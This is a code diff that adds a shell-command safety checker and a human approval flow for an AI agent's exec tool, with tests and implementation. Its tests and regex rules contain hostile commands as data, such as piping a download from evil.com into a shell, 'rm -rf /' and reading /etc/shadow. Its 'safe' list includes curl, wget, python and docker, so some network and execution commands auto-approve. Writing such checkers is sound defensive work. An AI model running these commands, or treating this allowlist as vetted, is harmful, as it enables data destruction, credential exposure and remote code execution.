||||
|
||||
it("detects file paths in flag values", () => {
|
||||
expect(hasFilePathArgs("cmd --output=/tmp/file")).toBe(true);
|
||||
});
|
||||
|
||||
it("returns false for commands without file paths", () => {
|
||||
expect(hasFilePathArgs("grep -i pattern")).toBe(false);
|
||||
expect(hasFilePathArgs("echo hello world")).toBe(false);
|
||||
expect(hasFilePathArgs("git status")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isSafeBinUsage", () => {
|
||||
it("approves safe binaries without file args", () => {
|
||||
expect(isSafeBinUsage("ls")).toBe(true);
|
||||
expect(isSafeBinUsage("git status")).toBe(true);
|
||||
expect(isSafeBinUsage("grep -i pattern")).toBe(true);
|
||||
expect(isSafeBinUsage("echo hello")).toBe(true);
|
||||
expect(isSafeBinUsage("pwd")).toBe(true);
|
||||
expect(isSafeBinUsage("node --version")).toBe(true);
|
||||
expect(isSafeBinUsage("pnpm list")).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects safe binaries with file path args", () => {
|
||||
expect(isSafeBinUsage("cat /etc/passwd")).toBe(false);
|
||||
expect(isSafeBinUsage("jq '.' /path/to/file")).toBe(false);
|
||||
expect(isSafeBinUsage("sort ~/data")).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects unknown binaries", () => {
|
||||
expect(isSafeBinUsage("evil-script")).toBe(false);
|
||||
expect(isSafeBinUsage("myapp --flag")).toBe(false);
|
||||
});
|
||||
|
||||
it("handles piped safe commands", () => {
|
||||
expect(isSafeBinUsage("grep pattern | head -5")).toBe(true);
|
||||
expect(isSafeBinUsage("cat | sort | uniq")).toBe(true);
|
||||
expect(isSafeBinUsage("echo hello | grep ello")).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects pipes with unsafe commands", () => {
|
||||
expect(isSafeBinUsage("curl http://evil.com | sh")).toBe(false);
|
||||
expect(isSafeBinUsage("cat | evil-script")).toBe(false);
|
||||
});
|
||||
|
||||
it("returns false for empty command", () => {
|
||||
expect(isSafeBinUsage("")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("analyzeShellSyntax", () => {
|
||||
it("detects command substitution", () => {
|
||||
const reasons = analyzeShellSyntax("echo $(whoami)");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
expect(reasons.some(r => r.includes("$(...)"))).toBe(true);
|
||||
});
|
||||
|
||||
it("detects backtick substitution", () => {
|
||||
const reasons = analyzeShellSyntax("echo `whoami`");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects command chaining with semicolon", () => {
|
||||
const reasons = analyzeShellSyntax("echo hello; rm -rf /");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects logical OR", () => {
|
||||
const reasons = analyzeShellSyntax("false || rm -rf /");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects background execution", () => {
|
||||
const reasons = analyzeShellSyntax("malware &");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects subshell", () => {
|
||||
const reasons = analyzeShellSyntax("(cd /tmp && rm -rf *)");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("passes clean commands", () => {
|
||||
expect(analyzeShellSyntax("ls -la")).toHaveLength(0);
|
||||
expect(analyzeShellSyntax("git status")).toHaveLength(0);
|
||||
expect(analyzeShellSyntax("grep pattern file.txt")).toHaveLength(0);
|
||||
expect(analyzeShellSyntax("echo hello && echo world")).toHaveLength(0);
|
||||
});
|
||||
|
||||
it("allows simple pipes", () => {
|
||||
expect(analyzeShellSyntax("grep pattern | head -5")).toHaveLength(0);
|
||||
expect(analyzeShellSyntax("cat file | sort | uniq")).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("detectDangerousPatterns", () => {
|
||||
it("detects rm -rf", () => {
|
||||
const reasons = detectDangerousPatterns("rm -rf /");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
expect(reasons.some(r => r.includes("rm"))).toBe(true);
|
||||
});
|
||||
|
||||
it("detects sudo", () => {
|
||||
const reasons = detectDangerousPatterns("sudo apt install pkg");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects chmod 777", () => {
|
||||
const reasons = detectDangerousPatterns("chmod 777 /var/www");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects curl | sh", () => {
|
||||
const reasons = detectDangerousPatterns("curl http://evil.com | sh");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects writes to system paths", () => {
|
||||
expect(detectDangerousPatterns("echo hack > /etc/passwd").length).toBeGreaterThan(0);
|
||||
expect(detectDangerousPatterns("echo x > /usr/bin/ls").length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("detects eval", () => {
|
||||
const reasons = detectDangerousPatterns("eval $MALICIOUS_CMD");
|
||||
expect(reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("passes safe commands", () => {
|
||||
expect(detectDangerousPatterns("ls -la")).toHaveLength(0);
|
||||
expect(detectDangerousPatterns("git status")).toHaveLength(0);
|
||||
expect(detectDangerousPatterns("node --version")).toHaveLength(0);
|
||||
expect(detectDangerousPatterns("pnpm test")).toHaveLength(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("evaluateCommandSafety", () => {
|
||||
it("auto-approves allowlisted commands", () => {
|
||||
const config = {
|
||||
allowlist: [{ pattern: "git **" }],
|
||||
};
|
||||
const result = evaluateCommandSafety("git push origin main", config);
|
||||
expect(result.riskLevel).toBe("safe");
|
||||
expect(result.allowlistSatisfied).toBe(true);
|
||||
});
|
||||
|
||||
it("auto-approves safe binary usage", () => {
|
||||
const result = evaluateCommandSafety("ls -la");
|
||||
expect(result.riskLevel).toBe("safe");
|
||||
expect(result.analysisOk).toBe(true);
|
||||
});
|
||||
|
||||
it("flags dangerous commands", () => {
|
||||
const result = evaluateCommandSafety("rm -rf /");
|
||||
expect(result.riskLevel).toBe("dangerous");
|
||||
expect(result.reasons.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it("flags dangerous shell syntax", () => {
|
||||
const result = evaluateCommandSafety("echo $(cat /etc/shadow)");
|
||||
expect(result.riskLevel).toBe("dangerous");
|
||||
expect(result.analysisOk).toBe(false);
|
||||
});
|
||||
|
||||
it("flags unknown commands as needs-review", () => {
|
||||
const result = evaluateCommandSafety("my-custom-script --flag");
|
||||
expect(result.riskLevel).toBe("needs-review");
|
||||
expect(result.analysisOk).toBe(true);
|
||||
expect(result.allowlistSatisfied).toBe(false);
|
||||
});
|
||||
|
||||
it("flags safe binary with file args as needs-review", () => {
|
||||
const result = evaluateCommandSafety("cat /etc/passwd");
|
||||
expect(result.riskLevel).toBe("needs-review");
|
||||
});
|
||||
});
|
||||
|
||||
describe("requiresApproval", () => {
|
||||
it("always requires when ask is 'always'", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "always", security: "full", analysisOk: true, allowlistSatisfied: true,
|
||||
})).toBe(true);
|
||||
});
|
||||
|
||||
it("never requires when ask is 'off'", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "off", security: "allowlist", analysisOk: false, allowlistSatisfied: false,
|
||||
})).toBe(false);
|
||||
});
|
||||
|
||||
it("requires on allowlist miss with on-miss", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "on-miss", security: "allowlist", analysisOk: true, allowlistSatisfied: false,
|
||||
})).toBe(true);
|
||||
});
|
||||
|
||||
it("requires on analysis failure with on-miss", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "on-miss", security: "allowlist", analysisOk: false, allowlistSatisfied: true,
|
||||
})).toBe(true);
|
||||
});
|
||||
|
||||
it("does not require when allowlist satisfied with on-miss", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "on-miss", security: "allowlist", analysisOk: true, allowlistSatisfied: true,
|
||||
})).toBe(false);
|
||||
});
|
||||
|
||||
it("does not require with on-miss when security is full", () => {
|
||||
expect(requiresApproval({
|
||||
ask: "on-miss", security: "full", analysisOk: false, allowlistSatisfied: false,
|
||||
})).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("minSecurity", () => {
|
||||
it("returns stricter security", () => {
|
||||
expect(minSecurity("deny", "full")).toBe("deny");
|
||||
expect(minSecurity("allowlist", "full")).toBe("allowlist");
|
||||
expect(minSecurity("full", "deny")).toBe("deny");
|
||||
expect(minSecurity("allowlist", "allowlist")).toBe("allowlist");
|
||||
});
|
||||
});
|
||||
|
||||
describe("maxAsk", () => {
|
||||
it("returns more frequent ask mode", () => {
|
||||
expect(maxAsk("off", "always")).toBe("always");
|
||||
expect(maxAsk("on-miss", "always")).toBe("always");
|
||||
expect(maxAsk("off", "on-miss")).toBe("on-miss");
|
||||
expect(maxAsk("on-miss", "on-miss")).toBe("on-miss");
|
||||
});
|
||||
});
|
||||
362
src/agent/tools/exec-safety.ts
Normal file
362
src/agent/tools/exec-safety.ts
Normal file
|
|
@ -0,0 +1,362 @@
|
|||
/**
|
||||
* Exec Safety Evaluation Engine
|
||||
*
|
||||
* Evaluates shell commands for safety using layered checks:
|
||||
* 1. Allowlist matching
|
||||
* 2. Shell syntax analysis (dangerous syntax detection)
|
||||
* 3. Safe binary detection
|
||||
* 4. Dangerous pattern detection
|
||||
*/
|
||||
|
||||
import type {
|
||||
ExecSecurity,
|
||||
ExecAsk,
|
||||
ExecApprovalConfig,
|
||||
ExecAllowlistEntry,
|
||||
SafetyEvaluation,
|
||||
} from "./exec-approval-types.js";
|
||||
import { matchAllowlist } from "./exec-allowlist.js";
|
||||
|
||||
// ============ Safe Binaries ============
|
||||
|
||||
/** Known-safe read-only binaries that can auto-approve */
|
||||
export const DEFAULT_SAFE_BINS = new Set([
|
||||
"ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep",
|
||||
"sort", "uniq", "cut", "tr", "jq", "yq",
|
||||
"echo", "printf", "pwd", "which", "whereis", "whoami",
|
||||
"env", "date", "uname", "hostname",
|
||||
"file", "stat", "basename", "dirname", "realpath",
|
||||
"diff", "comm", "tee",
|
||||
"find", "xargs",
|
||||
"git", "node", "pnpm", "npm", "npx", "yarn", "bun",
|
||||
"python", "python3", "pip", "pip3",
|
||||
"go", "cargo", "rustc",
|
||||
"docker", "kubectl",
|
||||
"curl", "wget",
|
||||
"tar", "gzip", "gunzip", "zip", "unzip",
|
||||
"sed", "awk", "rg", "fd", "ag",
|
||||
"tree", "less", "more",
|
||||
"true", "false", "test",
|
||||
"mkdir", "touch", "cp", "mv", "ln",
|
||||
]);
|
||||
|
||||
// ============ Dangerous Patterns ============
|
||||
|
||||
/** Patterns indicating dangerous operations */
|
||||
const DANGEROUS_PATTERNS: Array<{ regex: RegExp; reason: string }> = [
|
||||
{ regex: /\brm\s+(-[^\s]*r[^\s]*|--recursive)\s/i, reason: "Recursive delete (rm -r)" },
|
||||
{ regex: /\brm\s+(-[^\s]*f[^\s]*)\s/i, reason: "Force delete (rm -f)" },
|
||||
{ regex: /\bsudo\b/, reason: "Elevated privileges (sudo)" },
|
||||
{ regex: /\bsu\s/, reason: "Switch user (su)" },
|
||||
{ regex: /\bchmod\s+777\b/, reason: "World-writable permissions (chmod 777)" },
|
||||
{ regex: /\bchmod\s+-[^\s]*R/, reason: "Recursive permission change (chmod -R)" },
|
||||
{ regex: /\bchown\s+-[^\s]*R/, reason: "Recursive ownership change (chown -R)" },
|
||||
{ regex: /\bmkfs\b/, reason: "Filesystem format (mkfs)" },
|
||||
{ regex: /\bdd\s/, reason: "Low-level disk write (dd)" },
|
||||
{ regex: /\beval\s/, reason: "Dynamic code evaluation (eval)" },
|
||||
{ regex: /\bexec\s/, reason: "Process replacement (exec)" },
|
||||
{ regex: />\s*\/etc\//, reason: "Write to /etc/" },
|
||||
{ regex: />\s*\/usr\//, reason: "Write to /usr/" },
|
||||
{ regex: />\s*\/sys\//, reason: "Write to /sys/" },
|
||||
{ regex: />\s*\/proc\//, reason: "Write to /proc/" },
|
||||
{ regex: />\s*\/dev\//, reason: "Write to /dev/" },
|
||||
{ regex: /\bcurl\b.*\|\s*(ba)?sh/, reason: "Pipe URL to shell (curl | sh)" },
|
||||
{ regex: /\bwget\b.*\|\s*(ba)?sh/, reason: "Pipe URL to shell (wget | sh)" },
|
||||
{ regex: /\b(shutdown|reboot|halt|poweroff)\b/, reason: "System control command" },
|
||||
{ regex: /\bkill\s+-9\b/, reason: "Force kill (kill -9)" },
|
||||
{ regex: /\bkillall\b/, reason: "Kill all processes (killall)" },
|
||||
{ regex: /\bpkill\b/, reason: "Pattern kill (pkill)" },
|
||||
{ regex: />\s*\/dev\/sd[a-z]/, reason: "Direct disk write" },
|
||||
{ regex: /\biptables\b/, reason: "Firewall modification (iptables)" },
|
||||
{ regex: /\bufw\b/, reason: "Firewall modification (ufw)" },
|
||||
];
|
||||
|
||||
// ============ Dangerous Shell Syntax ============
|
||||
|
||||
/** Shell syntax patterns that are inherently dangerous */
|
||||
const DANGEROUS_SYNTAX: Array<{ regex: RegExp; reason: string }> = [
|
||||
{ regex: /\|&/, reason: "Stderr redirect to pipe (|&)" },
|
||||
{ regex: /\|\|/, reason: "Logical OR (||) — fallback execution" },
|
||||
{ regex: /(?<!\|)\|(?!\|).*\b(ba)?sh\b/, reason: "Pipe to shell interpreter" },
|
||||
{ regex: /[^\\]`[^`]+`/, reason: "Command substitution (backticks)" },
|
||||
{ regex: /\$\(/, reason: "Command substitution $(...)" },
|
||||
{ regex: /(?<![&])&(?!&)\s*$/, reason: "Background execution (&)" },
|
||||
{ regex: /(?<![&])&(?!&)(?!\s*$)/, reason: "Background execution (&)" },
|
||||
{ regex: /;\s*\S/, reason: "Command chaining (;)" },
|
||||
{ regex: /\(\s*\S/, reason: "Subshell execution ()" },
|
||||
];
|
||||
|
||||
// ============ Core Functions ============
|
||||
|
||||
/**
|
||||
* Extract the leading binary name from a shell command.
|
||||
* Handles common patterns: env prefix, path prefix.
|
||||
*/
|
||||
export function extractBinaryName(command: string): string | null {
|
||||
const trimmed = command.trim();
|
||||
if (!trimmed) return null;
|
||||
|
||||
// Skip env prefix: "env FOO=bar cmd" → "cmd"
|
||||
let cmd = trimmed;
|
||||
if (cmd.startsWith("env ")) {
|
||||
const parts = cmd.split(/\s+/);
|
||||
// Skip "env" and any VAR=VAL assignments
|
||||
let i = 1;
|
||||
while (i < parts.length && parts[i]!.includes("=")) i++;
|
||||
cmd = parts.slice(i).join(" ");
|
||||
}
|
||||
|
||||
// For piped commands, only check the first command
|
||||
const firstCmd = cmd.split(/\s*\|\s*/)[0]!.trim();
|
||||
|
||||
// Extract just the binary (strip path prefix)
|
||||
const binary = firstCmd.split(/\s+/)[0];
|
||||
if (!binary) return null;
|
||||
|
||||
// Get basename
|
||||
const parts = binary.split("/");
|
||||
return parts[parts.length - 1] || null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a command has file-path arguments.
|
||||
* Safe binaries should not have file-path args to be auto-approved.
|
||||
*/
|
||||
export function hasFilePathArgs(command: string): boolean {
|
||||
const parts = command.trim().split(/\s+/).slice(1); // skip binary
|
||||
|
||||
for (const part of parts) {
|
||||
// Skip flags
|
||||
if (part.startsWith("-")) {
|
||||
// Check if flag value is a file path (e.g., --output=/tmp/file)
|
||||
const eqIndex = part.indexOf("=");
|
||||
if (eqIndex !== -1) {
|
||||
const value = part.slice(eqIndex + 1);
|
||||
if (isFilePath(value)) return true;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
if (isFilePath(part)) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function isFilePath(s: string): boolean {
|
||||
return s.startsWith("/") || s.startsWith("./") || s.startsWith("../") || s.startsWith("~/") || /^[A-Za-z]:\\/.test(s);
|
||||
}
|
||||
|
||||
/**
|
||||
* Check if a command uses only safe binaries in a safe manner.
|
||||
* For piped commands, all components must be safe.
|
||||
*/
|
||||
export function isSafeBinUsage(command: string, safeBins: Set<string> = DEFAULT_SAFE_BINS): boolean {
|
||||
const trimmed = command.trim();
|
||||
if (!trimmed) return false;
|
||||
|
||||
// For piped commands, check each segment
|
||||
const segments = splitPipeSegments(trimmed);
|
||||
if (!segments) return false; // parsing failed
|
||||
|
||||
for (const segment of segments) {
|
||||
const binary = extractBinaryName(segment);
|
||||
if (!binary) return false;
|
||||
|
||||
// Check if binary is in safe list (case-insensitive)
|
||||
if (!safeBins.has(binary.toLowerCase())) return false;
|
||||
|
||||
// Safe bins should not reference file paths as arguments
|
||||
if (hasFilePathArgs(segment)) return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Split command into pipe segments.
|
||||
* Returns null if dangerous syntax is detected in the pipe chain.
|
||||
*/
|
||||
function splitPipeSegments(command: string): string[] | null {
|
||||
// Simple split on single pipes (not |& or ||)
|
||||
const parts: string[] = [];
|
||||
let current = "";
|
||||
let inSingleQuote = false;
|
||||
let inDoubleQuote = false;
|
||||
let escaped = false;
|
||||
|
||||
for (let i = 0; i < command.length; i++) {
|
||||
const ch = command[i]!;
|
||||
|
||||
if (escaped) {
|
||||
current += ch;
|
||||
escaped = false;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "\\") {
|
||||
current += ch;
|
||||
escaped = true;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "'" && !inDoubleQuote) {
|
||||
inSingleQuote = !inSingleQuote;
|
||||
current += ch;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === '"' && !inSingleQuote) {
|
||||
inDoubleQuote = !inDoubleQuote;
|
||||
current += ch;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (ch === "|" && !inSingleQuote && !inDoubleQuote) {
|
||||
// Check for |& or ||
|
||||
const next = command[i + 1];
|
||||
if (next === "&" || next === "|") return null; // dangerous
|
||||
parts.push(current.trim());
|
||||
current = "";
|
||||
continue;
|
||||
}
|
||||
|
||||
current += ch;
|
||||
}
|
||||
|
||||
if (current.trim()) {
|
||||
parts.push(current.trim());
|
||||
}
|
||||
|
||||
return parts.length > 0 ? parts : null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Analyze shell syntax for dangerous constructs.
|
||||
* Returns list of reasons if dangerous syntax is found.
|
||||
*/
|
||||
export function analyzeShellSyntax(command: string): string[] {
|
||||
const reasons: string[] = [];
|
||||
|
||||
for (const { regex, reason } of DANGEROUS_SYNTAX) {
|
||||
if (regex.test(command)) {
|
||||
reasons.push(reason);
|
||||
}
|
||||
}
|
||||
|
||||
return reasons;
|
||||
}
|
||||
|
||||
/**
|
||||
* Detect dangerous command patterns.
|
||||
* Returns list of reasons if dangerous patterns are found.
|
||||
*/
|
||||
export function detectDangerousPatterns(command: string): string[] {
|
||||
const reasons: string[] = [];
|
||||
|
||||
for (const { regex, reason } of DANGEROUS_PATTERNS) {
|
||||
if (regex.test(command)) {
|
||||
reasons.push(reason);
|
||||
}
|
||||
}
|
||||
|
||||
return reasons;
|
||||
}
|
||||
|
||||
/**
|
||||
* Main safety evaluation function.
|
||||
* Evaluates a shell command through multiple safety layers.
|
||||
*/
|
||||
export function evaluateCommandSafety(
|
||||
command: string,
|
||||
config?: ExecApprovalConfig,
|
||||
): SafetyEvaluation {
|
||||
const allowlist = config?.allowlist ?? [];
|
||||
const allReasons: string[] = [];
|
||||
|
||||
// Layer 1: Allowlist matching
|
||||
const allowlistMatch = matchAllowlist(allowlist, command);
|
||||
if (allowlistMatch) {
|
||||
return {
|
||||
riskLevel: "safe",
|
||||
reasons: [],
|
||||
analysisOk: true,
|
||||
allowlistSatisfied: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Layer 2: Shell syntax analysis
|
||||
const syntaxReasons = analyzeShellSyntax(command);
|
||||
const analysisOk = syntaxReasons.length === 0;
|
||||
if (!analysisOk) {
|
||||
allReasons.push(...syntaxReasons);
|
||||
}
|
||||
|
||||
// Layer 3: Safe binary detection
|
||||
if (analysisOk && isSafeBinUsage(command)) {
|
||||
return {
|
||||
riskLevel: "safe",
|
||||
reasons: [],
|
||||
analysisOk: true,
|
||||
allowlistSatisfied: false,
|
||||
};
|
||||
}
|
||||
|
||||
// Layer 4: Dangerous pattern detection
|
||||
const dangerousReasons = detectDangerousPatterns(command);
|
||||
allReasons.push(...dangerousReasons);
|
||||
|
||||
// Determine risk level
|
||||
let riskLevel: "safe" | "needs-review" | "dangerous";
|
||||
if (dangerousReasons.length > 0 || !analysisOk) {
|
||||
riskLevel = "dangerous";
|
||||
} else {
|
||||
riskLevel = "needs-review";
|
||||
}
|
||||
|
||||
return {
|
||||
riskLevel,
|
||||
reasons: allReasons,
|
||||
analysisOk,
|
||||
allowlistSatisfied: false,
|
||||
};
|
||||
}
|
||||
|
||||
// ============ Policy Helpers ============
|
||||
|
||||
/**
|
||||
* Determine if human approval is required.
|
||||
* Same logic as OpenClaw's requiresExecApproval.
|
||||
*/
|
||||
export function requiresApproval(params: {
|
||||
ask: ExecAsk;
|
||||
security: ExecSecurity;
|
||||
analysisOk: boolean;
|
||||
allowlistSatisfied: boolean;
|
||||
}): boolean {
|
||||
const { ask, security, analysisOk, allowlistSatisfied } = params;
|
||||
|
||||
if (ask === "always") return true;
|
||||
if (ask === "off") return false;
|
||||
|
||||
// ask === "on-miss"
|
||||
if (security === "allowlist" && (!analysisOk || !allowlistSatisfied)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/**
|
||||
* Merge two security levels, taking the stricter (lower) one.
|
||||
* deny < allowlist < full
|
||||
*/
|
||||
export function minSecurity(a: ExecSecurity, b: ExecSecurity): ExecSecurity {
|
||||
const order: Record<ExecSecurity, number> = { deny: 0, allowlist: 1, full: 2 };
|
||||
return order[a] <= order[b] ? a : b;
|
||||
}
|
||||
|
||||
/**
|
||||
* Merge two ask modes, taking the more frequent (higher) one.
|
||||
* off < on-miss < always
|
||||
*/
|
||||
export function maxAsk(a: ExecAsk, b: ExecAsk): ExecAsk {
|
||||
const order: Record<ExecAsk, number> = { off: 0, "on-miss": 1, always: 2 };
|
||||
return order[a] >= order[b] ? a : b;
|
||||
}
|
||||
|
|
@ -7,6 +7,7 @@ import {
|
|||
getFullOutput,
|
||||
PROCESS_REGISTRY,
|
||||
} from "./process-registry.js";
|
||||
import type { ExecApprovalCallback } from "./exec-approval-types.js";
|
||||
|
||||
const ExecSchema = Type.Object({
|
||||
command: Type.String({ description: "Shell command to execute." }),
|
||||
|
|
@ -40,7 +41,10 @@ export type ExecResult = {
|
|||
|
||||
const DEFAULT_YIELD_MS = 10000; // Changed from 5000 to 10000
|
||||
|
||||
export function createExecTool(defaultCwd?: string): AgentTool<typeof ExecSchema, ExecResult> {
|
||||
export function createExecTool(
|
||||
defaultCwd?: string,
|
||||
onApprovalNeeded?: ExecApprovalCallback,
|
||||
): AgentTool<typeof ExecSchema, ExecResult> {
|
||||
return {
|
||||
name: "exec",
|
||||
label: "Exec",
|
||||
|
|
@ -51,6 +55,21 @@ export function createExecTool(defaultCwd?: string): AgentTool<typeof ExecSchema
|
|||
const { command, cwd, timeoutMs, yieldMs = DEFAULT_YIELD_MS } = args as ExecArgs;
|
||||
const effectiveCwd = cwd || defaultCwd;
|
||||
|
||||
// Exec approval: ask for permission before executing
|
||||
if (onApprovalNeeded) {
|
||||
const approvalResult = await onApprovalNeeded(command, effectiveCwd);
|
||||
if (!approvalResult.approved) {
|
||||
return {
|
||||
content: [{ type: "text", text: "Command execution denied by user." }],
|
||||
details: {
|
||||
output: "Command execution denied by user.",
|
||||
exitCode: 1,
|
||||
truncated: false,
|
||||
},
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
return new Promise((resolve) => {
|
||||
const child = spawn(command, {
|
||||
shell: true,
|
||||
|
|
|
|||
|
|
@ -29,3 +29,20 @@ export {
|
|||
getSubagentPolicy,
|
||||
wouldToolBeAllowed,
|
||||
} from "./policy.js";
|
||||
|
||||
// Exec approval system
|
||||
export type {
|
||||
ExecSecurity,
|
||||
ExecAsk,
|
||||
ApprovalDecision,
|
||||
ExecApprovalRequest,
|
||||
ExecApprovalConfig,
|
||||
ExecAllowlistEntry,
|
||||
ExecApprovalCallback,
|
||||
ApprovalResult,
|
||||
SafetyEvaluation,
|
||||
} from "./exec-approval-types.js";
|
||||
export { DEFAULT_APPROVAL_TIMEOUT_MS } from "./exec-approval-types.js";
|
||||
export { evaluateCommandSafety, requiresApproval, minSecurity, maxAsk, DEFAULT_SAFE_BINS } from "./exec-safety.js";
|
||||
export { matchAllowlist, addAllowlistEntry, recordAllowlistUse, removeAllowlistEntry, normalizeAllowlist } from "./exec-allowlist.js";
|
||||
export { createCliApprovalCallback } from "./exec-approval-cli.js";
|
||||
|
|
|
|||
|
|
@ -1,6 +1,7 @@
|
|||
import type { ThinkingLevel } from "@mariozechner/pi-agent-core";
|
||||
import type { SkillsConfig } from "./skills/types.js";
|
||||
import type { ToolsConfig } from "./tools/policy.js";
|
||||
import type { ExecApprovalCallback, ExecApprovalConfig } from "./tools/exec-approval-types.js";
|
||||
|
||||
/** Controls how reasoning/thinking content blocks are handled */
|
||||
export type ReasoningMode = "off" | "on" | "stream";
|
||||
|
|
@ -75,6 +76,12 @@ export type AgentOptions = {
|
|||
tools?: ToolsConfig | undefined;
|
||||
/** Whether this is a subagent (applies restricted tool set) */
|
||||
isSubagent?: boolean | undefined;
|
||||
|
||||
// === Exec Approval Configuration ===
|
||||
/** Callback invoked when exec tool needs approval before running a command */
|
||||
onExecApprovalNeeded?: ExecApprovalCallback | undefined;
|
||||
/** Exec approval configuration (security level, ask mode, allowlist) */
|
||||
execApproval?: ExecApprovalConfig | undefined;
|
||||
};
|
||||
|
||||
export interface Message {
|
||||
|
|
|
|||
265
src/hub/exec-approval-manager.test.ts
Normal file
265
src/hub/exec-approval-manager.test.ts
Normal file
|
|
@ -0,0 +1,265 @@
|
|||
import { describe, it, expect, vi, beforeEach, afterEach } from "vitest";
|
||||
import { ExecApprovalManager } from "./exec-approval-manager.js";
|
||||
|
||||
describe("ExecApprovalManager", () => {
|
||||
let manager: ExecApprovalManager;
|
||||
let sendToClient: ReturnType<typeof vi.fn>;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.useFakeTimers();
|
||||
sendToClient = vi.fn();
|
||||
manager = new ExecApprovalManager(sendToClient, 5000); // 5s timeout for tests
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
});
|
||||
|
||||
it("sends approval request to client and resolves on decision", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "rm -rf /tmp/test",
|
||||
cwd: "/workspace",
|
||||
riskLevel: "dangerous",
|
||||
riskReasons: ["Recursive delete"],
|
||||
});
|
||||
|
||||
// Verify sendToClient was called
|
||||
expect(sendToClient).toHaveBeenCalledTimes(1);
|
||||
const [agentId, request] = sendToClient.mock.calls[0]!;
|
||||
expect(agentId).toBe("agent-1");
|
||||
expect(request.command).toBe("rm -rf /tmp/test");
|
||||
expect(request.approvalId).toBeTruthy();
|
||||
|
||||
// Resolve the approval
|
||||
const resolved = manager.resolveApproval(request.approvalId, "allow-once");
|
||||
expect(resolved).toBe(true);
|
||||
|
||||
const result = await promise;
|
||||
expect(result.approved).toBe(true);
|
||||
expect(result.decision).toBe("allow-once");
|
||||
});
|
||||
|
||||
it("resolves with deny when decision is deny", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "sudo reboot",
|
||||
riskLevel: "dangerous",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const request = sendToClient.mock.calls[0]![1];
|
||||
manager.resolveApproval(request.approvalId, "deny");
|
||||
|
||||
const result = await promise;
|
||||
expect(result.approved).toBe(false);
|
||||
expect(result.decision).toBe("deny");
|
||||
});
|
||||
|
||||
it("resolves with allow-always", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "git push",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
const request = sendToClient.mock.calls[0]![1];
|
||||
manager.resolveApproval(request.approvalId, "allow-always");
|
||||
|
||||
const result = await promise;
|
||||
expect(result.approved).toBe(true);
|
||||
expect(result.decision).toBe("allow-always");
|
||||
});
|
||||
|
||||
it("auto-denies on timeout (fail-closed)", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "dangerous-command",
|
||||
riskLevel: "dangerous",
|
||||
riskReasons: [],
|
||||
});
|
||||
|
||||
// Fast-forward past timeout
|
||||
vi.advanceTimersByTime(6000);
|
||||
|
||||
const result = await promise;
|
||||
expect(result.approved).toBe(false);
|
||||
expect(result.decision).toBe("deny");
|
||||
});
|
||||
|
||||
it("honors askFallback full on timeout", async () => {
|
||||
const promise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
askFallback: "full",
|
||||
});
|
||||
|
||||
vi.advanceTimersByTime(6000);
|
||||
|
||||
const result = await promise;
|
||||
expect(result.approved).toBe(true);
|
||||
expect(result.decision).toBe("allow-once");
|
||||
});
|
||||
|
||||
it("honors askFallback allowlist on timeout", async () => {
|
||||
const allowPromise = manager.requestApproval({
|
||||
agentId: "agent-1",
|
||||
command: "cmd",
|
||||
riskLevel: "needs-review",
|
||||
riskReasons: [],
|
||||
askFallback: "allowlist",
|
||||
allowlistSatisfied: true,
|
||||
});
|
||||
|
||||
vi.advanceTimersByTime(6000);
|
||||
|
||||
const allowResult = await allowPromise;
